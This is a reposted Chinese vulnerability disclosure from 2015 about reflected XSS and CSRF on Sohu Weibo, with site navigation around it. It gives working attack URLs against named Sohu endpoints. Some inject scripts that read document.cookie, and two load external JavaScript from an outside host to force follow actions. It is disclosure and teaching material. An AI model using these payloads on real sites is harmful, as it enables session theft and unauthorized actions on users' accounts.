网站地图    收藏   

主页 > 后端 > 网站安全 >

搜狐微博反射型xss和csrf的问题 - 网站安全 - 自学

来源:自学PHP网    时间:2015-04-17 11:59 作者: 阅读:

[导读] 1.首先是一个反射性的xsshttp://t.sohu.com/twsearch/twSearch?key=asdscriptalert(document.cookie)/script=1这里的逻辑有点问题,导致了xss的存在,复杂点的是下面实现的可以加关注,外部引用jshttp://......

1.首先是一个反射性的xss
http://t.sohu.com/twsearch/twSearch?key=asd&"><script>alert(document.cookie)</script>=1
 
这里的逻辑有点问题,导致了xss的存在,复杂点的是下面实现的可以加关注,外部引用js
 
http://t.sohu.com/twsearch/twSearch?key=asdf&%22%3E%3Cimg%20src%3D%27ice%27%20onerror%3D%22var%20s%3Ddocument.createElement%28%27script%27%29%3Bs.src%3D%27http%3A%2f%2ficefish1987.sinaapp.com%2faddFollow.js%27%3Bdocument.body.appendChild%28s%29%3B%22%3E www.2cto.com
http://t.sohu.com/twsearch/twSearch?key=asdf&%22%3E%3Cimg%20src%3D%27ice%27%20onerror%3D%22var%20s%3Ddocument.createElement%28%27script%27%29%3Bs.src%3D%27http%3A%2f%2ficefish1987.sinaapp.com%2faddFollowajax.js%27%3Bdocument.body.appendChild%28s%29%3B%22%3E
(大致就是js form提交型以及ajax型提交,这里其实有另一个问题就是加关注应该有个token之类的来对抗反射型xss)
 
2 搜狐微博的短连接似乎有点问题
http://t.itc.cn/pQfAP
这是我生成的一个短连接,应不应该做过滤呢,要是不过滤,感觉上可能会有隐患吧
 
3. 附送几个反射性的xss,没多大意思,都是callback型的,
 
cc.i.sohu.com/a/app/counts/get.htm?ids=blog_228544023,blog_228108828,blog_228098977,blog_228095558,blog_228058235,blog_228052163,blog_227994519,blog_228005565,blog_227980500,blog_227859528,blog_227858958,blog_227825831,blog_227834137,blog_227818274,blog_227815969,blog_227813242,blog_227780666,blog_227776940,blog_227758059,blog_227757241&callback=<script>alert(document.cookie)</script>
stat.i.sohu.com/guest/frag/recents.do?callback=<script>alert(document.cookie)</script>&xpt=MTgxNzEyODE0QHFxLmNvbQ%3D%3D&_=1342946198434
 
此外感谢下:@gainover的详细教程,受益匪浅,以及px1624的js代码
 



 
 
修复方案:

过滤

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论